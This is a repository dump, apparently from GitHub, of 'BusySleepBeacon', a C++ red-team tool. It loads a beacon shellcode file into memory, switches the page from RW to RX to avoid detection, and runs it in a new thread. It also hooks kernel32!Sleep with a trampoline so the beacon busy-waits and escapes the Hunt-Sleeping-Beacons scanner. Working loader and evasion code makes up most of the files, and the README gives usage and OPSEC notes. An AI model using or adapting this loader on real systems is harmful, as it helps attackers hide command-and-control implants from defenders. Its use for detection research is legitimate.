├── .gitignore ├── BusySleepBeacon.cpp ├── BusySleepBeacon.exe ├── BusySleepBeacon.obj ├── Hunt-Sleeping-Beacons.exe ├── README.md └── shellcodefluctuation.h /.gitignore: -------------------------------------------------------------------------------- 1 | /Hunt-Sleeping-Beacons 2 | redirector.bin -------------------------------------------------------------------------------- /BusySleepBeacon.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | References 3 | - https://github.com/mgeeky/ShellcodeFluctuation 4 | - http://www.cplusplus.com/forum/beginner/74239/ 5 | - https://stackoverflow.com/questions/48009277/thread-wait-reasons 6 | 7 | Most of this code is from mgeeky's ShellcodeFluctuation project, including the Sleep hook and shellcode exec. I just stole the busy wait 8 | from the cplusplus forum thread replies :) 9 | 10 | This relies on the detection being based on the DelayExecution thread state. Busy waiting does not put the thread into 11 | DelayExecution, and hence the thread is not flagged by Hunt-Sleeping-Beacons. 12 | 13 | */ 14 | 15 | // mgeeky's ShellcodeFluctuation 16 | #include "shellcodefluctuation.h" 17 | #include 18 | #pragma once 19 | #include 20 | 21 | //http://www.cplusplus.com/forum/beginner/74239/ 22 | #include 23 | bool Wait(const unsigned long &Time) 24 | { 25 | printf("\n[+] Busy waiting for %d milliseconds...\n",Time); 26 | clock_t Tick = clock_t(float(clock()) / float(CLOCKS_PER_SEC) * 1000.f); 27 | if(Tick < 0) // if clock() fails, it returns -1 28 | return 0; 29 | clock_t Now = clock_t(float(clock()) / float(CLOCKS_PER_SEC) * 1000.f); 30 | if(Now < 0) 31 | return 0; 32 | while( (Now - Tick) < Time ) 33 | { 34 | Now = clock_t(float(clock()) / float(CLOCKS_PER_SEC) * 1000.f); 35 | if(Now < 0) 36 | return 0; 37 | } 38 | return 1; 39 | } 40 | 41 | // Declarations 42 | HookedSleep g_hookedSleep; 43 | 44 | 45 | #pragma intrinsic(_ReturnAddress) 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | // mgeeky's ShellcodeFluctuation 54 | void WINAPI MySleep(DWORD dwMilliseconds) 55 | { 56 | const LPVOID caller = (LPVOID)_ReturnAddress(); 57 | 58 | 59 | 60 | HookTrampolineBuffers buffers = { 0 }; 61 | buffers.originalBytes = g_hookedSleep.sleepStub; 62 | buffers.originalBytesSize = sizeof(g_hookedSleep.sleepStub); 63 | 64 | fastTrampoline(false, (BYTE*)::Sleep, (void*)&MySleep, &buffers); 65 | 66 | // Perform sleep emulating originally hooked functionality. 67 | // Busy wait! 68 | if(!Wait(dwMilliseconds)) 69 | { /* Error */ } 70 | 71 | printf("\n==========[BEACON CALLBACK!]==========\n"); 72 | 73 | 74 | // 75 | // Re-hook kernel32!Sleep 76 | // 77 | fastTrampoline(true, (BYTE*)::Sleep, (void*)&MySleep); 78 | } 79 | 80 | std::vector collectMemoryMap(HANDLE hProcess, DWORD Type) 81 | { 82 | std::vector out; 83 | const size_t MaxSize = (sizeof(ULONG_PTR) == 4) ? ((1ULL << 31) - 1) : ((1ULL << 63) - 1); 84 | 85 | uint8_t* address = 0; 86 | while (reinterpret_cast(address) < MaxSize) 87 | { 88 | MEMORY_BASIC_INFORMATION mbi = { 0 }; 89 | 90 | if (!VirtualQueryEx(hProcess, address, &mbi, sizeof(mbi))) 91 | { 92 | break; 93 | } 94 | 95 | if ((mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE_READ || mbi.Protect == PAGE_READWRITE) 96 | && ((mbi.Type & Type) != 0)) 97 | { 98 | out.push_back(mbi); 99 | } 100 | 101 | address += mbi.RegionSize; 102 | } 103 | 104 | return out; 105 | } 106 | 107 | 108 | 109 | bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers) 110 | { 111 | #ifdef _WIN64 112 | uint8_t trampoline[] = { 113 | 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr 114 | 0x41, 0xFF, 0xE2 // jmp r10 115 | }; 116 | 117 | uint64_t addr = (uint64_t)(jumpAddress); 118 | memcpy(&trampoline[2], &addr, sizeof(addr)); 119 | #else 120 | uint8_t trampoline[] = { 121 | 0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, addr 122 | 0xFF, 0xE0 // jmp eax 123 | }; 124 | 125 | uint32_t addr = (uint32_t)(jumpAddress); 126 | memcpy(&trampoline[1], &addr, sizeof(addr)); 127 | #endif 128 | 129 | DWORD dwSize = sizeof(trampoline); 130 | DWORD oldProt = 0; 131 | bool output = false; 132 | 133 | if (installHook) 134 | { 135 | if (buffers != NULL) 136 | { 137 | if (buffers->previousBytes == nullptr || buffers->previousBytesSize == 0) 138 | return false; 139 | 140 | memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize); 141 | } 142 | 143 | if (::VirtualProtect( 144 | addressToHook, 145 | dwSize, 146 | PAGE_EXECUTE_READWRITE, 147 | &oldProt 148 | )) 149 | { 150 | memcpy(addressToHook, trampoline, dwSize); 151 | output = true; 152 | } 153 | } 154 | else 155 | { 156 | if (buffers == NULL) 157 | return false; 158 | 159 | if (buffers->originalBytes == nullptr || buffers->originalBytesSize == 0) 160 | return false; 161 | 162 | dwSize = buffers->originalBytesSize; 163 | 164 | if (::VirtualProtect( 165 | addressToHook, 166 | dwSize, 167 | PAGE_EXECUTE_READWRITE, 168 | &oldProt 169 | )) 170 | { 171 | memcpy(addressToHook, buffers->originalBytes, dwSize); 172 | output = true; 173 | } 174 | } 175 | 176 | static typeNtFlushInstructionCache pNtFlushInstructionCache = NULL; 177 | if (!pNtFlushInstructionCache) 178 | { 179 | pNtFlushInstructionCache = (typeNtFlushInstructionCache)GetProcAddress(GetModuleHandleA("ntdll"), "NtFlushInstructionCache"); 180 | } 181 | 182 | pNtFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize); 183 | 184 | 185 | ::VirtualProtect( 186 | addressToHook, 187 | dwSize, 188 | oldProt, 189 | &oldProt 190 | ); 191 | 192 | return output; 193 | } 194 | 195 | bool hookSleep() 196 | { 197 | HookTrampolineBuffers buffers = { 0 }; 198 | buffers.previousBytes = g_hookedSleep.sleepStub; 199 | buffers.previousBytesSize = sizeof(g_hookedSleep.sleepStub); 200 | 201 | g_hookedSleep.origSleep = reinterpret_cast(::Sleep); 202 | 203 | if (!fastTrampoline(true, (BYTE*)::Sleep, (void*)&MySleep, &buffers)) 204 | return false; 205 | 206 | return true; 207 | } 208 | 209 | 210 | void runShellcode(LPVOID param) 211 | { 212 | auto func = ((void(*)())param); 213 | 214 | // This is mgeekys shellcode exec I just reused. Thanks mgeeky! 215 | // 216 | // Jumping to shellcode. Look at the coment in injectShellcode() describing why we opted to jump 217 | // into shellcode in a classical manner instead of fancy hooking 218 | // ntdll!RtlUserThreadStart+0x21 like in ThreadStackSpoofer example. 219 | // 220 | func(); 221 | } 222 | 223 | 224 | 225 | bool readShellcode(const char* path, std::vector& shellcode) 226 | { 227 | HandlePtr file(CreateFileA( 228 | path, 229 | GENERIC_READ, 230 | FILE_SHARE_READ, 231 | NULL, 232 | OPEN_EXISTING, 233 | 0, 234 | NULL 235 | ), &::CloseHandle); 236 | 237 | if (INVALID_HANDLE_VALUE == file.get()) 238 | return false; 239 | 240 | DWORD highSize; 241 | DWORD readBytes = 0; 242 | DWORD lowSize = GetFileSize(file.get(), &highSize); 243 | 244 | shellcode.resize(lowSize, 0); 245 | 246 | return ReadFile(file.get(), shellcode.data(), lowSize, &readBytes, NULL); 247 | } 248 | 249 | bool injectShellcode(std::vector& shellcode, HandlePtr &thread) 250 | { 251 | // 252 | // Firstly we allocate RW page to avoid RWX-based IOC detections 253 | // 254 | auto alloc = ::VirtualAlloc( 255 | NULL, 256 | shellcode.size() + 1, 257 | MEM_COMMIT, 258 | PAGE_READWRITE 259 | ); 260 | 261 | if (!alloc) 262 | return false; 263 | 264 | memcpy(alloc, shellcode.data(), shellcode.size()); 265 | 266 | DWORD old; 267 | 268 | // 269 | // Then we change that protection to RX 270 | // 271 | if (!VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old)) 272 | return false; 273 | 274 | 275 | shellcode.clear(); 276 | 277 | thread.reset(::CreateThread( 278 | NULL, 279 | 0, 280 | (LPTHREAD_START_ROUTINE)runShellcode, 281 | alloc, 282 | 0, 283 | 0 284 | )); 285 | 286 | return (NULL != thread.get()); 287 | } 288 | 289 | 290 | //Main Function 291 | int main(int argc, const char** argv){ 292 | if (strcmp(argv[2], "1") == 0) 293 | { 294 | printf("\n[+] Hooking kernel32!Sleep..."); 295 | if (!hookSleep()) 296 | { 297 | printf("\n[!] Could not hook kernel32!Sleep!"); 298 | return 1; 299 | }else{ 300 | printf("\n[!] Hooked! Busy waiting in use."); 301 | } 302 | } 303 | else 304 | { 305 | printf("\n[+] Beacon will not use busy waiting."); 306 | } 307 | 308 | std::vector shellcode; 309 | if (!readShellcode(argv[1], shellcode)) 310 | { 311 | printf("\n[!] Could not open shellcode file!"); 312 | return 1; 313 | } 314 | 315 | printf("\n[+] Injecting shellcode..."); 316 | 317 | HandlePtr thread(NULL, &::CloseHandle); 318 | if (!injectShellcode(shellcode, thread)) 319 | { 320 | printf("\n[!] Could not inject shellcode!"); 321 | return 1; 322 | } 323 | 324 | printf("\n[+] Shellcode is now running."); 325 | 326 | WaitForSingleObject(thread.get(), INFINITE); 327 | 328 | } 329 | 330 | 331 | 332 | 333 | -------------------------------------------------------------------------------- /BusySleepBeacon.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeXTF2/BusySleepBeacon/45e8f551e18d29225fe02cc54ce335dcce051b46/BusySleepBeacon.exe -------------------------------------------------------------------------------- /BusySleepBeacon.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeXTF2/BusySleepBeacon/45e8f551e18d29225fe02cc54ce335dcce051b46/BusySleepBeacon.obj -------------------------------------------------------------------------------- /Hunt-Sleeping-Beacons.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeXTF2/BusySleepBeacon/45e8f551e18d29225fe02cc54ce335dcce051b46/Hunt-Sleeping-Beacons.exe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BusySleepBeacon 2 | 3 | This is a simple project made to evade https://github.com/thefLink/Hunt-Sleeping-Beacons by using a busy wait instead of beacon's built in Sleep() call. 4 | Most of the structure e.g. Sleep hook, shellcode exec etc. are taken from mgeeky's https://github.com/mgeeky/ShellcodeFluctuation. 5 | 6 | ## How it works 7 | 8 | - A userland hook is applied to the Sleep() function called by beacon 9 | - Beacon calls Sleep() to sleep 10 | - The hook redirects execution to our sleep function 11 | - Our sleep function performs the sleep using a busy wait 12 | - Execution is passed back to the beacon shellcode 13 | 14 | This way, we intercept and replace the Sleep() call with our busy wait function, preventing the thread from entering the DelayExecution state. 15 | There is a possible OPSEC implication of this implementation in that it uses considerably more CPU than a normal beacon. Be aware of that. 16 | 17 | ## Usage 18 | ### Use busy sleep 19 | BusySleepBeacon.exe ./beacon.bin 1 20 | ### No busy sleep 21 | BusySleepBeacon.exe ./beacon.bin 0 22 | 23 | ### Test detection 24 | Hunt-Sleeping-Beacons.exe 25 | 26 | Expected results: 27 | 28 | ![](https://i.imgur.com/OMgMQMa.png) 29 | ![](https://i.imgur.com/fxyvbtL.png) 30 | -------------------------------------------------------------------------------- /shellcodefluctuation.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | typedef void (WINAPI* typeSleep)( 10 | DWORD dwMilis 11 | ); 12 | 13 | typedef DWORD(NTAPI* typeNtFlushInstructionCache)( 14 | HANDLE ProcessHandle, 15 | PVOID BaseAddress, 16 | ULONG NumberOfBytesToFlush 17 | ); 18 | 19 | typedef std::unique_ptr::type, decltype(&::CloseHandle)> HandlePtr; 20 | 21 | enum TypeOfFluctuation 22 | { 23 | NoFluctuation = 0, 24 | FluctuateToRW, 25 | FluctuateToNA, // ORCA666's delight: https://github.com/ORCA666/0x41 26 | }; 27 | 28 | struct FluctuationMetadata 29 | { 30 | LPVOID shellcodeAddr; 31 | SIZE_T shellcodeSize; 32 | bool currentlyEncrypted; 33 | DWORD encodeKey; 34 | DWORD protect; 35 | }; 36 | 37 | struct HookedSleep 38 | { 39 | typeSleep origSleep; 40 | BYTE sleepStub[16]; 41 | }; 42 | 43 | struct HookTrampolineBuffers 44 | { 45 | // (Input) Buffer containing bytes that should be restored while unhooking. 46 | BYTE* originalBytes; 47 | DWORD originalBytesSize; 48 | 49 | // (Output) Buffer that will receive bytes present prior to trampoline installation/restoring. 50 | BYTE* previousBytes; 51 | DWORD previousBytesSize; 52 | }; 53 | 54 | 55 | static const DWORD Shellcode_Memory_Protection = PAGE_EXECUTE_READ; 56 | 57 | bool hookSleep(); 58 | bool injectShellcode(std::vector& shellcode, HandlePtr& thread); 59 | bool readShellcode(const char* path, std::vector& shellcode); 60 | std::vector collectMemoryMap(HANDLE hProcess, DWORD Type = MEM_PRIVATE | MEM_MAPPED); 61 | void initializeShellcodeFluctuation(const LPVOID caller); 62 | bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers = NULL); 63 | void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey); 64 | bool isShellcodeThread(LPVOID address); 65 | void shellcodeEncryptDecrypt(LPVOID callerAddress); 66 | void relocateShellcode(const LPVOID caller, LPVOID addressOfRetAddr); 67 | 68 | void WINAPI MySleep(DWORD _dwMilliseconds); 69 | --------------------------------------------------------------------------------